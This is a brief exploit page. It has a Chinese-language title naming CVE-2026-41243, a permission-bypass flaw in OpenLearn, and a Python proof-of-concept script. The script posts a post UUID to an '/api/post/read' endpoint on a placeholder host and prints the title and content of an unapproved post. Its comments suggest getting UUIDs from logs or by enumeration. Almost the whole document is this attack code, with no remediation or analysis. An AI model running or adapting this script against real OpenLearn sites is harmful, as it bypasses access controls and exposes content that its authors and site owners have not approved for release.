CVE-2026-41243 OpenLearn权限绕过漏洞

import requests # Configuration target_host = "http://example-openlearn.com" read_endpoint = "/api/post/read" # Adjust based on actual routing # The UUID of the unapproved post # An attacker might obtain this via logs, previous access, or enumeration post_uuid = "550e8400-e29b-41d4-a716-446655440000" # Construct the full URL url = f"{target_host}{read_endpoint}" # Payload data payload = { "uuid": post_uuid } try: # Send the request to retrieve the post directly response = requests.post(url, json=payload) if response.status_code == 200: data = response.json() print("[+] Success! Unapproved post content retrieved:") print(f"Title: {data.get('title')}") print(f"Content: {data.get('content')}") else: print(f"[-] Failed to retrieve post. Status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")